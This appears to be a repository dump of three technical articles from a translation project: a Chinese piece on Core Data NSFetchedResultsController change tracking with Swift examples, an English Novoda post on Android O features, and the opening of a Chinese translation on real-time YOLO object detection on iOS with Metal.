。\n\n切换到另一种配置，后台 context 把它的变化写入主要 context 来替代上面的操作，这可以根除 FRC 的这个问题。这是这个问题的一个彻底解决方法。确实，把堆重新配置成“父子”模式是一种改变管理的完全不同的架构方法，这也带来一些问题：\n\n*   “父子”模式的配置导致大量的数据流通需要通过主要 context 进行。当获取和保存的操作发生时，他们将会堵塞主要 context 线程。\n*   你需要处理那些临时的对象 ID 直到这些对象被存入持久化存储器。或者，当在后台 context 插入对象 ID 时，你需要请求获取持久化对象 ID 。但是，这会带来一些性能上的损耗。\n\n*   对于合并后台 context 和主要 context 的冲突你控制的权限变得更少了。\n\n#### 刷新主要 context 中的对象\n\n\n**典型实现**这个方法是：当在主要 context 中处理 _NSManagedObjectContextDidSaveNotification_ 通知队列时，调用 _refreshObjects(mergeChanges:)_ 方法来更新对象。\n\n这些实现方式通常是刷新所有消息队列中的已经更新的对象。\n\n**优势**\n\n*  实现简单\n*   在一个 _NSManagedContext_ 扩展里集中的管理实现是可能的。\n*   我们可以选择缺页设置( _mergeChanges = false_ ) 或者合并设置 ( _mergeChanges = true_ )。\n\n\n**缺陷**\n\n*   我们需要子每个独立的对象中调用这个方法，每一个都会造成 FRC 的更新。这很容易造成一个性能瓶颈。任何之前已经用 FRC 注册过的更新对象都需要被更新两次。\n*  我们使用故障设置 _mergeChanges = false 来设置所有的主要 context 中的对象. 如果那些对象被  FRC 提及到，那么内存缺页将立刻失效。这导致被已经更新的 FRC 获取的完整对象集合会有三次更新: 一次是默认的 FRC 更新机制中的一部分，一次是由于强制的刷新，一次是当默认设置失效的时候。\n*   还是故障设置 _mergeChanges = false_ 的问题,在 context 中不在内存中的对象会造成负面的影响。所有的关系都是缺失的，这意味着任何指向那些不在内存中的对象的引用和那些不在内存中的对象关联的引用都变得无效。这在很大程度上增加了管理的难度。你想要获取的最后一个对象是一个无法管理的对象，当你尝试去控制它的时候，你的应用就会崩溃。\n*  选择合并设置 _mergeChanges = true_, 你把存在的对象保存在内存中，但是这样却把持久化存储器里值的变化全部覆盖掉了(即那个情况下的后台 context )。 如果你采取强硬的方法让你的主要 context 只读，强制性的把所有的变化唯一的应用到后台 context 中，这可能是起作用的。 \n*  我们需要选择是设置成 _mergeChanges = false_ 或者是 _mergeChanges = true_。\n\n\n**_NSManagedObjectContext_ 拓展和应用的典型例子**\n\n```\npublic extension NSManagedObjectContext {\n\n    func addContextDidSaveNotificationObserver(center: NSNotificationCenter, handler: NSNotification -> ()) -> NSObjectProtocol {\n        return center.addObserverForName(NSManagedObjectContextDidSaveNotification, object: self, queue: nil) { notification in\n            handler(notification)\n        }\n    }\n\n    func performMergeChangesFromContextDidSaveNotification(notification: NSNotification) {\n        self.performBlock {\n            self.mergeChangesFromContextDidSaveNotification(notification)\n            guard let updatedObjects = notification.userInfo?[NSUpdatedObjectsKey] as? Set<nsmanagedobject> else {\n                return\n            }\n            updatedObjects.map({ $0.objectID }).forEach { objectID in\n                guard let object = try? self.existingObjectWithID(objectID) else {\n                    return\n                }\n                self.refreshObject(object, mergeChanges: false)\n            }\n        }\n    }\n}\n\n// Prototype of a CoreDataStack class to illustrate how you could use the `NSManagedObjectContext` extension methods\nclass CoreDataStack {\n    var mainContext: NSManagedObjectContext\n    var backgroundContext: NSManagedObjectContext\n\n    var backgroundObserver: NSObjectProtocol?\n\n    deinit() {\n        if let backgroundObserver = self.backgroundObserver {\n            NSNotificationCenter.defaultcenter().removeObserver(backgroundObserver)\n        }\n    }\n\n    init() {\n        //....  \n        // A bunch of initialization code here where you define backgroundContext and mainContext\n        //....\n\n        // Somewhere else in your code you would register your main context to listen to `NSManagedObjectDidChangeNotification` \n        // coming from the background context like so\n        backgroundObserver = backgroundContext.addContextDidSaveNotificationObserver(\n            NSNotificationCenter.defaultcenter(),\n            handler: processBackgroundContextDidSaveNotification\n        )\n    }\n\n    private func processBackdroundContextDidSaveNotication(notification: NSNotification) {\n        mainContext.performMergeChangesFromContextDidSaveNotification(notification)\n    }\n}\n```\n\n#### 改善 refreshObject(_, mergeChanges:) 方法\n\n一个在主要 context 中无差别刷新所有更新对象的全局实现，它的主要缺点是它会刷新那些被主要 FRC 完美管理的对象。\n\n\n直接拥有 _NSManagedObjectDidSaveNotification_ 的 FRC 注册是一个明显的更优雅的方式，它使用与之前相同的机制。通过这样做，我们可以限制我们对以下对象的刷新调用：\n\n*   还没有在主要 context 注册的。\n*   与 FRC 的 _fetchRequest_ 属性相符的。(即它的实体和过滤条件，如果定义了的话).\n\n\n**优势**\n\n*    _NSFetchedResultsController_ 拓展的一个简单实现。\n*   指定没有注册过的和只对 FRC 透露细节的对象作为刷新对象的能力。\n*   更好的刷新性能。\n*   没有关联 FRC 的对象和已经在主要 context 中注册的对象都不会缺失。\n\n\n\n**缺点**\n\n主要 FRC 在后台 context 注册保存的位置，后台 context 的引用是需要的。如果你想要在你的应用中隐藏掉这个 context，可能的一个选项就是从你的 Core Data 栈或者其他的拥有两个 context 权限的类中直接去掉 FRC 。\n\n**SNSFetchedResultsController 扩展范例**\n\n```\nextension NSFetchedResultsController {\n    func registerForCommitsToContext(context: NSManagedObjectContext, notificationCenter: NSNotificationCenter? = nil) -> NSObjectProtocol? {\n        guard self.managedObjectContext != context else {\n            return nil\n        }\n        let center = notificationCenter ?? NSNotificationCenter.defaultCenter()\n        return  center.addObserverForName(NSManagedObjectContextDidSaveNotification, object: context, queue: nil) { [weak self] notification in\n            guard let strongSelf = self else {\n                return\n            }\n            strongSelf.processChangesWithRefreshObjects(notification, mergeChanges: mergeChanges)\n        }\n    }\n\n    private func insertedOrUpdatedObjectIDsMatchingFetchRequestInNotification(notification: NSNotification) -> Set<nsmanagedobjectid> {\n        guard let entity = self.fetchRequest.entity else {\n            return []\n        }\n        let predicate = self.fetchRequest.predicate ?? NSPredicate(value: true)\n\n        // We are only interested in retrieving inserted and updated objects since those may be the one now matching the\n        // fetchRequest and which will not be handled properly if they are not already registered in out context\n        var matchingObjectIDs : Set<nsmanagedobjectid> = []\n        for key in [NSUpdatedObjectsKey, NSInsertedObjectsKey] {\n            if let objects = notification.userInfo?[key] as? Set<nsmanagedobject>  {\n                let matching = objects.filter({$0.entity == entity && predicate.evaluateWithObject($0)}).map{$0.objectID}\n                matchingObjectIDs.unionInPlace(matching)\n            }\n        }\n        return matchingObjectIDs\n    }\n\n    private func processChangesWithRefreshObjects(notification: NSNotification) {\n        guard let _ = self.fetchRequest.predicate, _ = self.fetchRequest.entity else {\n            return\n        }\n        var matchingObjectIDs = self.insertedOrUpdatedObjectIDsMatchingFetchRequestInNotification(notification)\n        self.managedObjectContext.performBlock({\n            // We do not want to process objects which are already registered in our context. These objects are fine and already\n            // properly tracked by the default change management mechanism\n            let registeredObjectIDs = self.managedObjectContext.registeredObjects.map{$0.objectID}\n            matchingObjectIDs.subtractInPlace(registeredObjectIDs)\n\n            for matchingObjectID in matchingObjectIDs {\n                // Calling `existingObjectWithID` is the right thing to do here: it fetches the objects from the store\n                // and brings them into the main context.\n                // Note that it is perfectly safe, and even desirable, to get these objects here using the objectID coming from\n                // the background context since it will reuse the row cache and make the fetch \"faster\".\n                guard let object = try? self.managedObjectContext.existingObjectWithID(matchingObjectID) else {\n                    continue\n                }\n                // Since we know that the objects we are processing are not part of our context and are new, calling\n                // this method with `mergeChanges: false` has no side effects: the object is simply faulted in memory and the \n                // fault will immediately fire since the object matches our fetchRequest.\n                self.managedObjectContext.refreshObject(object, mergeChanges: false)\n            }\n        })\n    }\n}\n```\n\n\n在这个扩展背后的想法是:\n\n1.  告知每一个 FRC 去监控一个特定 context 的保存过程 (尤其是后台 context )。\n2.  当收到监控的 context 的 _NSManagedObjectContextDidSaveNotification_ 时, 检查 FRC 的过滤条件是否过滤出实体。如果没有, 不做任何事. FRC 将像预想的那样工作。\n3.  从消息通知队列中取回所有的插入和更新过的实体,只保存符合FRC实体和过滤条件对象的 _objectID_ 。\n4.  从这个对象集合中，删除掉所有已经在 FRC context 注册过的对象。被注册过的这些对象将按照默认设置进行正确的管理。\n5.  每一个保留的对象都是在被监控的 context 中新插入的并且没有在 FRC 中注册过: 调用 _refreshObject(_, mergeChanges:false)_ 方法。  _mergeChanges:false_ 的设置工作的很完美: 对象不存在与 FRC 的 context，这样的情况下不在内存中的对象也不会带来负面的影响。\n\n#### 调用 willAccessValueForKey(nil) 方法\n\n\n\n在 Stack Overflow 上的另外一个典型解决方法是通过调用 _willAccessValueForKey(nil)_ 来替代 _refreshObjects(_, mergeChanges:)_ 方法查询所有的新对象是否在 context 中，然后如果有必要还会调用 _mergeChangesFromContextDidSaveNotification()_ 方法。\n\n\n再一次，当处理 _NSManagedObjectContextDidSaveNotification_ 消息通知时，这个方法被主要 context 调用，来通知属于消息通知队列一部分的所有更新对象。正如每一个苹果文档所说的：\n\n> 你可以用一个 nil 键值对调用这个方法来确保内存缺页失效。\n\n\n\n```\nextension NSFetchedResultsController {\n    private func processChangesWithWillAccessValueForKey(notification: NSNotification) {\n        guard let _ = self.fetchRequest.predicate, _ = self.fetchRequest.entity else {\n            return\n        }\n        var matchingObjectIDs = self.insertedOrUpdatedObjectIDsMatchingFetchRequestInNotification(notification)\n        self.managedObjectContext.performBlock({\n            let registeredObjectIDs = self.managedObjectContext.registeredObjects.map{$0.objectID}\n            matchingObjectIDs.subtractInPlace(registeredObjectIDs)\n            for matchingObjectID in matchingObjectIDs {\n                guard let object = try? self.managedObjectContext.existingObjectWithID(matchingObjectID) else {\n                    continue\n                }\n                object.willAccessValueForKey(nil)\n            }\n            if !matchingObjectIDs.isEmpty {\n                self.managedObjectContext.mergeChangesFromContextDidSaveNotification(notification)\n            }\n        })\n    }\n}\n```\n\n\n你可以调用这个方法取代之前定义的 _processChangesWithRefreshObject(_, mergeChanges:)_ 方法。再一次的说明，调用这个方法没有负面影响。\n\n#### 当变化发生时重新获取对象。\n\n\n这是一个你可能回去尝试实现的一个主意。它包括两个部分：使用相同的 _NSManagedObjectContextDidSaveNotification_ 消息通知检测后台 context 的变化和当有需要时调用 _performFetch()_ 方法。\n\n\n我们实现了这个方法想看看它是否能工作，因为我们证实了一次刷新所有的对象比一次刷新一个更合理。\n\n\n\n但是，我们发现了使用这个方法的一个巨大缺陷：FRC 的 _delegate_ “从来没有”收到变化的通知。新的对象被获取并注册在主要 context ，但是没有对象了解它们。\n\n\n解决这个问题的一个办法是在调用 _performFetch_ 方法之后调用代理方法它们本身。这个方法足够的简单并且不会影响到 FRC 的 _sections_ 。在这一点上，系统运作的时候需要观测许多东西，就像是 FRC 的追踪变化这个主要特性的重新实现，这样做并不明智。\n\n### 总结\n\n作为一个同级的栈配置（主要 context 和连接到 _persistentStoreCoordinator_ 的私有队列 context ）：\n\n*  在主要 context 获取对象的 _NSFetchedResultsController_ 将只能在后台 context 中获取到插入的对象，在保存后台 context 的时候，被插入的对象符合 _NSFetchedResultsController_ 的过滤条件。\n*  如果没有过滤条件，_NSFetchedResultsController_ 将表现的像预想的那样，获取到所有在后台 context 插入的所有相关的实体。\n*  如果有过滤条件，_NSFetchedResultsController_ 只能获取到后台插入的对象, 并且这些对象在第一次在后台 context 中保存的时候必须要符合这个过滤条件才可以。\n*  如果变化是在第一次保存之后发生的，并且更新的对象没有在主要 context 注册过，那么它们将**永远不会**被获取到。\n*  在后台 context 保存对象，在主要 context 中合并变化，在当前线程循环的末尾像文档上记录的那样运作。\n*   当处理来自后台 context 的 _NSManagedObjectDidSaveNotification_ 消息通知时，在所有的更新对象上调用 _refreshObject(_:mergeChanges:) 方法， 这个解决方案总是在 Stack Overflow 网站上被提出来，但是这不仅是无效的，还会普遍带来关于内存缺页的问题\n*   对比一下，通过在 _NSFetchedResultsController_ 扩展上调用同样的方法不仅运行的非常好，还不会产生我们已经验证过的负面影响，这个扩展允许 _NSFetchedResultsController_ 实例监测后台 context 发生的变化。\n\n### 之后的打算\n\n苹果公司在 WWDC 期间声明了[ Core Data 的几个变化](https://medium.com/bpxl-craft/wwdc-2016-spotlight-core-data-2699e94d35f7)。_NSPersistentContainer_ 将会使得在几个不同 context 保持同步变得更简单。我们将在这篇文章中使用 iOS 10 系统进行测试，看看是否问题还存在。我们将持续更新我们的发现。\n"
  },
  {
    "path": "TODO/o-h-yeah-what-we-look-forward-to-in-android-o.md",
    "content": "> * 原文地址：[O-h yeah! What we look forward to in Android O](https://www.novoda.com/blog/o-h-yeah-what-we-look-forward-to-in-android-o/)\n> * 原文作者：[Novoda](https://www.novoda.com/blog/author/novoda/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# O-h yeah! What we look forward to in Android O\n\n\nNovoda has a reputation of building the most desirable apps for Android and iOS. We believe living and sharing a hack-and-tell culture is one way to maintain top-shelf quality.\n        \n\nThis week Google has announced the new Android O Preview programme. Like most Android developers out there, we poured over the documentation to find out what new feature tickles our fancies the most. Here’s what people at Novoda are looking forward to.\n\n![Android O-Some](https://2.bp.blogspot.com/-WSPrWvuvCvc/WM80F43fu4I/AAAAAAAAGtU/N73vMkriLX8rH-lt1t2cns9YSuJlBHr_wCLcB/s1600/android-o-logo.png)\n\n## Sebastiano Poggi\n\n> There are a lot of very interesting new APIs and features in this release; to me, being a UI kind of person, there are a few that have been making me giggle with delight.\n\n### Wide gamut and diverse colour spaces support 🌈\n\n![Adobe RGB vs sRGB colour spaces](https://developer.android.com/reference/android/images/graphics/colorspace_adobe_rgb.png)First and foremost, I'm *extremely* happy that Android will be able to handle **colour spaces** properly. No more being limited to sRGB, now apps will be able to properly display images that are stored in the Adobe RGB, ProPhoto RGB and many others. The new APIs will also help you with [converting between colour spaces](https://developer.android.com/reference/android/graphics/ColorSpace.Adaptation.html). The [documentation](https://developer.android.com/reference/android/graphics/ColorSpace.html) seems excellent as well, even just to learn about colour spaces!\n\n*Fun fact:* all the [named colour space graphs](https://developer.android.com/reference/android/graphics/ColorSpace.Named.html) in the docs have been generated with the new [`ColorSpace.Renderer`](https://developer.android.com/reference/android/graphics/ColorSpace.Renderer.html) on Android.\n\n### First-party and first-class fonts support ❤️\n\nFor years now Android developers have been forced to use clever hacks to implement fonts support in apps, such as [Calligraphy](https://github.com/InflationX/Calligraphy) or custom span-based solutions. Unfortunately there is still a lot of limitations with that approach, such as the layout preview in Android Studio not showing the custom fonts, or the inability to apply the fonts in some unusual cases (such as `TabLayout`‘s tabs that get their `textAppearance` separately from their inflation ಠ_ಠ). So I’m very, very happy that all these things will be sorted out in the next version of the OS, with the introduction of **font resources**. It took some time, but we’re getting there. Hopefully it’ll get to the [support library](https://twitter.com/chrisbanes/status/844274842279051264), too…\n\n### Adaptive Icons ⚪ ⬛ 🔴 ⬜\n\n![Three dimensional animation of an Adaptive Icon](https://d2mxuefqeaa7sj.cloudfront.net/s_D495BEC1F83AAA38C0FCFF599E996A34C92045AC1FD3533493D989F431CA82C0_1490194268969_NB_Icon_Layers_3D_03_ext.gif)\n\nI think this might have been introduced to put a leash on OEMs that like to mess a bit too much with things. Embracing the current (mal-)practice of adding a background to icons is not *exactly* new—[round launcher icons](https://developer.android.com/about/versions/nougat/android-7.1.html#circular-icons) in Android N were a first step in that direction. **Adaptive icons** will take it the next level though, allowing OEMs and launcher developers to specify a mask to apply to an application-provided background image. This way, icons will fit into whatever style the context they show up into dictates, without having to ship all possible variations.\n\nIn addition, the new assets are supposed to be substantially larger than the previous images, with a lot of leeway for animating the icons:\n\n![Parallax animation on an Adaptive Icon](https://d2mxuefqeaa7sj.cloudfront.net/s_D495BEC1F83AAA38C0FCFF599E996A34C92045AC1FD3533493D989F431CA82C0_1490194498483_Single_Icon_Parallax_Demo_01_2x_ext.gif)![Zoom/pop animation on an Adaptive Icon](https://d2mxuefqeaa7sj.cloudfront.net/s_D495BEC1F83AAA38C0FCFF599E996A34C92045AC1FD3533493D989F431CA82C0_1490194498352_Single_Icon_Pickup_Drop_01_2x_ext.gif)\n\n## Ataul Munim\n\n> A few things caught my eye which will be interesting for those of you interested in inclusive design.\n\n### Accessibility Button\n\nAccessibility services (like Google TalkBack) will be able to request an additional button in the navigation bar for devices with soft navigation keys.\n\nThis button will provide a service-specific shortcut. So far, only TalkBack has implemented it—though I think they had the inside track on this one!\n\nIt’ll be interesting to see how services use (and mis-use) this feature, and how the system will deal with multiple services that are vying for the same space.\n\n### Fingerprint gestures\n\nMany of you will already be using fingerprint gestures as convenient shortcuts for frequently performed tasks on your phones, from scrolling through content to pulling down the notification shade.\n\nFingerprint gestures being made available to accessibility services can only be considered a good thing, providing this addition is transparent to app developers and is handled wholly by Android or the service in question.\n\nI wonder if it could be used to bring back something similar to the optical trackball!\n\n### Autosizing TextView 👓\n\nThis is the one I’m a little worried about. All too often we see apps that don’t cater for users that make use of the system font size selector (available in Settings > Display), resulting in clipped text and thoroughly confused readers.\n\nI suspect we’ll see this issue exacerbated by apps using the autosizing TextView, though if I put my Hopeful Hat on, maybe it'll prompt designers and developers to consider what their apps will look like with various text sizes.\n\n## [Paul Blundell](http://twitter.com/blundell_apps)\n\n> Everyone is thinking, there are no desserts beginning with the letter O... While I'm excited for the new APIs, I'm more excited that perhaps M will get more device adoption now that people is looking at O!\n\n### AutoFill APIs\n\nDidn't realise I needed it until it was pointed out it was missing. So many times do I give up logging into an app because I know if I go on the mobile website my login will be autofilled. No more.\n\nTwo points from the announcement:\n\n> Users can select an autofill app, similar to the way they select a keyboard app. The autofill app stores and secures user data, such as addresses, user names, and even passwords. \n\nInterestingly, this pushes security concerns onto 3rd parties. I wonder who will come out on top. With Google having their own [Smart Lock](https://get.google.com/smartlock/) concept, I imagine Google may be releasing an autofill app alongside O. \n\n> For apps that want to handle autofill, we're adding new APIs to implement an Autofill service. \n\nOh boy, I want to play with this. I've read about the security researchers who created [invisible input fields](https://github.com/anttiviljami/browser-autofill-phishing) on a webpage to contain *credit card* details, that would get autofilled while the user only saw the *name* field. Users were tricked into allowing autofill and, when they submitted the form, unintentionally disclosed their card details. Looking forward to seeing how Android tackles this and other security questions around Autofill.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/object-detection-with-yolo.md",
    "content": "> * 原文地址：[Real-time object detection with YOLO](http://machinethink.net/blog/object-detection-with-yolo/)\n> * 原文作者：本文已获原作者 [Matthijs Hollemans](http://machinethink.net/blog/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Danny Lau](https://github.com/Danny1451)\n> * 校对者：[Dalston Xu](https://github.com/xunge0613) ,[DeepMissea](https://github.com/DeepMissea)\n\n\n# 深度学习在 iOS 上的实践 —— 通过 YOLO 在 iOS 上实现实时物体检测 #\n\n\n>译者注：\n>在阅读这篇文章之前可能会遇到的一些名词，这里是解释(我自己也查了相当多的资料，为了翻译地尽可能的简单易懂一些)\n> - Metal：Metal 是苹果在 iOS 8 之后 提供的一种低层次的渲染应用程序编程接口，提供了软件所需的最低层，保证软件可以运行在不同的图像芯片上。（和 OpenGL ES 是并列关系）\n> - 分类器：该函数或模型能够把数据库中的数据纪录映射到给定类别中的某一个，从而可以应用于数据预测。\n> - 批量归一化：解决在训练过程中，中间层数据分布发生改变的问题，以防止梯度消失或爆炸、加快训练速度。\n> - 文中术语主要参照孙逊等人对斯坦福大学深度学习教程[UFLDL Tutorial](http://ufldl.stanford.edu/wiki/index.php/UFLDL%E6%95%99%E7%A8%8B)的翻译\n\n在计算机视觉领域，物体检测是经典问题之一：\n**识别一张给定的图像中包含的物体*是什么*，和它们在图像中的*位置*。**\n\n检测是比分类更复杂的一个问题，虽然分类也要识别物体，但是它不需要告诉你物体在图像中的位置，并且分类无法识别包含多个物体的图像。\n\n[![](http://machinethink.net/images/yolo/ClassificationVsDetection.png) ](http://machinethink.net/images/yolo/ClassificationVsDetection@2x.png)\n\n[YOLO](https://pjreddie.com/darknet/yolo/) 是一个用来处理实时物体检测的聪明的神经网络。\n\n在这篇博客里面我将介绍如何通过 Metal Performance Shaders 让“迷你”版的 YOLOv2 在 iOS 上运行（译：MetalPerformanceShaders 是 iOS 9 中 Metal Kit新增的方法）。\n\n在你继续看下去之前，务必先看下这个[令人震惊的 YOLOv2 预告](https://www.youtube.com/watch?v=VOC3huqHrss)。 😎\n\n## YOLO 是怎么工作的 ##\n\n你可以用一个类似于 [VGGNet](/blog/convolutional-neural-networks-on-the-iphone-with-vggnet/) 或 [Inception](https://github.com/hollance/Forge/tree/master/Examples/Inception) 的分类器，通过在图像上移动一个小的窗口将分类器转换成物体检测器。在每一次移动中，运行分类器来获取对当前窗口内物体类型的推测。通过滑动窗口可以获得成百上千个关于该图像的推测，但是只有那个分类器最确定的那个选项会被保留。\n\n这个方案虽然是可行的但是很明显它会非常的慢，因为你需要多次运行分类器。一种可以略微改善的方法是首先预测哪些部分的图片可能包含有趣的信息 - 所谓的**区域建议** - 然后只在这些区域运行分类器。相比移动窗口来说，分类器确实减少了不少工作量，但是它仍会运行较多次数。\n\nYOLO 采用了一种完全不同的实现方式。它不是传统的分类器，而是被改造成了对象探测器。YOLO 实际上只会看图像一次（因此得名：You Only Look Once（你只用看一次）），但是是通过一种聪明的方式。\nYOLO 把图像分割为 13 乘 13 单元的网格：\n\n[![The 13x13 grid](http://machinethink.net/images/yolo/Grid@2x.png)](/images/yolo/Grid@2x.png)\n\n每个单元都负责预测 5 个边界框。边界框代表着这个矩形包含着一个物体。\n\nYOLO 也会输出一个 **确信值** 来告诉我们它有多确定边界框里是否包含某个物体。这个分数不会包含任何关于边界框内的物体是什么的信息，只是这个框是否符合标准。\n\n预测之后的边界框可能看上去像下面这样（确信值越高，盒子的边界画的越宽）\n\n[![](http://machinethink.net/images/yolo/Boxes.png)](http://machinethink.net/images/yolo/Boxes@2x.png)\n\n对每个边界框，单元也会推测一个**类别**。这就像分类器一样：它提供了所有可能类的可能性分布情况。这个版本的 YOLO 我们是通过 [PASCAL VOC dataset](http://host.robots.ox.ac.uk/pascal/VOC/) 来训练的，它可以识别 20 种不同的类，比如：\n\n- 自行车\n- 船\n- 汽车\n- 猫\n- 狗\n- 人\n- 等等…\n\n边界框的确信值和类的预测组合成一个最终分数，告诉我们边界框中包含一个特定类型的物体的可能性。举个例子，左侧这个又大又粗的黄色方框认为有 85% 的可能性它包含了“狗”这个物体。\n\n\n[![The bounding boxes with their class scores](http://machinethink.net/images/yolo/Scores.png)](http://machinethink.net/images/yolo/Scores@2x.png)\n\n一共有 13×13 = 169 个单元格，每个单元格预测 5 个边界框，最终我们会有 845 个边界框。事实证明，大部分的框的确信值都很低，所以我们只保留那些最终得分在 30% 及以上的值（你可以根据你所需要的精确程度来修改这个下限）。\n\n接下来是最后的预测：\n\n[![The final prediction](http://machinethink.net/images/yolo/Prediction.png)](http://machinethink.net/images/yolo/Prediction@2x.png)\n\n从总共 845 的个边界框中我们只保留了这三个，因为它们给出了最好的结果。但是请注意虽然是 845 个独立的预测，它们都是同时运行的 - 神经网络只会运行一次。这也是为什么 YOLO 是如此的强大和快速。\n\n*(上图来自 [pjreddie.com](https://pjreddie.com)。)*\n\n## 神经网络 ##\n\nYOLO 的架构是很简单的，它就是一个卷积神经网络：\n\n```\nLayer         kernel  stride  output shape\n---------------------------------------------\nInput                          (416, 416, 3)\nConvolution    3×3      1      (416, 416, 16)\nMaxPooling     2×2      2      (208, 208, 16)\nConvolution    3×3      1      (208, 208, 32)\nMaxPooling     2×2      2      (104, 104, 32)\nConvolution    3×3      1      (104, 104, 64)\nMaxPooling     2×2      2      (52, 52, 64)\nConvolution    3×3      1      (52, 52, 128)\nMaxPooling     2×2      2      (26, 26, 128)\nConvolution    3×3      1      (26, 26, 256)\nMaxPooling     2×2      2      (13, 13, 256)\nConvolution    3×3      1      (13, 13, 512)\nMaxPooling     2×2      1      (13, 13, 512)\nConvolution    3×3      1      (13, 13, 1024)\nConvolution    3×3      1      (13, 13, 1024)\nConvolution    1×1      1      (13, 13, 125)\n---------------------------------------------\n\n```\n\n这种神经网络只使用了标准的层类型：3x3 核心的卷积层和 2x2 的最大值池化层，没有复杂的事务。YOLOv2 中没有全连接层。\n\n**注意：** 我们将要使用的“迷你”版本的 YOLO 只有 9 个卷积层和 6 个池化层。完整版的 YOLOv2 模型的层数是“迷你”版的 3 倍，并且有一个略微复杂的形状，但它仍然是一个常规的转换。\n\n最后的卷积层有个 1x1 的核心用于降低数据到 13x13x125 的尺寸。这个 13x13 看上去很熟悉：这正是图像原来分割之后的网格尺寸。\n\n所以最终我们给每个网格单元生成了 125 个通道。这 125 个数字包含了边界框中的数据和类型预测。为什么是 125 个呢？恩，每个单元格预测 5 个边界框，并且一个边界框通过 25 个数据元素来描述：\n\n- 边界框的矩形的 x 轴坐标， y 轴坐标，宽度和高度\n- 确信值\n- 20 个类型的可能性分布\n\n使用 YOLO 很简单：你给它一个输入图像（尺寸调节到 416x416 像素），它在单一传递下通过卷积网络，最后转变为 13x13x125 的张量来描述这些网格单元的边界框。你所需要做的只是计算这些边界框的最终分数，将那些小于 30% 的分数遗弃。\n\n**提示：** 为了学习更多关于 YOLO 的工作原理和训练方式，看下这个其中一位发明者的[精彩的演讲](https://www.youtube.com/watch?v=NM6lrxy0bxs)。这个视频实际上描述的是 YOLOv1，一个在构建方面略微有点不同的老版本，但是其主要思想还是一样的。值得一看！\n\n## 转换到 Metal ##\n\n我刚刚描述的架构是迷你 YOLO 的，正是我们将在 iOS app 中使用的那个。完整的 YOLOv2 网络包含 3 倍的层数，并且这对于目前的 iPhone 来说想快速运行它，有点太大了。因此，迷你 YOLO 用了更少的层数，这使它比它哥哥快了不少，但是也损失了一些精确度。\n\n\n[![](http://machinethink.net/images/yolo/CatOrDog.png) ](http://machinethink.net/images/yolo/CatOrDog@2x.png)\n\nYOLO 是用 Darknet 写的，YOLO 作者的一个自定义深度学习框架。可下载到的权重只有 Darknet 格式。虽然 Darknet 已经[开源](https://github.com/pjreddie/darknet)了，但是我不是很愿意花太多的时间来弄清楚它是怎么工作的。\n\n幸运的是，[有人](https://github.com/allanzelener/YAD2K/)已经尝试并把 Dardnet 模型转换为 Keras，恰好是我所用的深度学习工具。因此我唯一要做的就是执行这个 ”YAD2K“ 的脚本来把 Darknet 格式的权重转换到 Keras 格式，然后再写我自己的脚本，把 Keras 权重转换到 Metal 的格式。\n\n但是，仍然有些奇怪…… YOLO 在卷积层之后使用的是一个常规的技术叫做**批量归一化**。\n\n在”批量归一化“背后的想法是数据干净的时候神经网络工作效果最好。理想情况下，输入到层的数据的均值是 0 并且没有太多的分歧。任何做过任意机器学习的人应该很熟悉这个，因为我们经常使用一个叫做”特征缩放“或者”白化“在我们的输入数据上来实现这一效果。\n\n批量归一化在层与层之间对数据做了一个类似的特征缩放的工作。这个技术让神经网络表现的更好因为它暂停了数据由于在网络中流动而导致的污染。\n\n为了让你大致了解批量归一的作用，看一看下面这两个直方图，分别是第一次应用卷积层后进行归一化与不进行归一化的不同结果。\n[![](http://machinethink.net/images/yolo/BatchNorm.png)](http://machinethink.net/images/yolo/BatchNorm@2x.png)\n\n在训练深度网络的时候，批量归一化很重要，但是我们证实在推断时可以不用这个操作。这样效果不错，因为不做批量归一化的计算会让我们的 app 更快。而且任何情况下，Metal 都没有一个 `MPSCNNBatchNormalization` 层。\n\n批量归一化通常在卷积层之后，在激活函数（在 YOLO 中叫做”泄露“的 Relu ）生效之前。既然卷积和批量统一都是对数据的线性转换，我们可以把批量统一层的参数和卷积的权重组和到一起。这叫做把批量统一层”折叠“到卷积层。\n\n长话短说，通过一些数学运算，我们可以移除批量归一层，但是并不意味着我们在卷积层之前必须去改变权重。\n\n关于卷积层计算内容的快速总结：如果 `x` 是输入图像的像素，`w` 是这层的权重，卷积根本上来说就是按下面的方式计算每个输出像素：\n\n```\nout[j] = x[i]*w[0] + x[i+1]*w[1] + x[i+2]*w[2] + ... + x[i+k]*w[k] + b\n\n```\n\n这是输入像素和卷积权重点积和加上一个偏置值 `b`，\n\n下面这是批量归一化对上述卷积输出结果进行的计算操作：\n\n```\n        gamma * (out[j] - mean)\nbn[j] = ---------------------- + beta\n            sqrt(variance)\n\n```\n\n它先减去了输出像素的平均值，除以方差，再乘以一个缩放参数 gamma，然后加上偏移量 beta。这四个参数 — `mean`，`variance`， `gamma`，和 `beta`。- 正是批量统一层随着网络训练之后学到的内容。\n\n为了移除批量归一化，我们可以把这两个等式调整一下来给卷积层计算新的权重和偏置量：\n\n```\n           gamma * w\nw_new = --------------\n        sqrt(variance)\n\n        gamma*(b - mean)\nb_new = ---------------- + beta\n         sqrt(variance)\n\n```\n\n用这个基于输入 `x` 的新权重和偏置项来进行卷积操作会得到和之前卷积加上批量归一化一样的结果。\n\n现在我们可以移除批量归一化层只用卷积层了，但是由于调整了权重和新的偏置项 `w_new` 和 `b_new` 。我们要对网络中所有的卷积层都重复这个操作。\n\n**注意：** 实际上在 YOLO 中，卷积层并没有使用偏置量，所以 `b` 在上面的等式中始终是 0 。但是请注意在折叠批量归一化参数的之后，卷积层**真**得到了一个偏置项。\n\n一旦我们把所有的批量归一化层都折叠到它们的之前卷积层中时，我们就可以把权重转换到 Metal 了。这是一个很简单的数组转换（Keras 与 Metal 相比是用不同的顺序来存储），然后把它们写入到一个 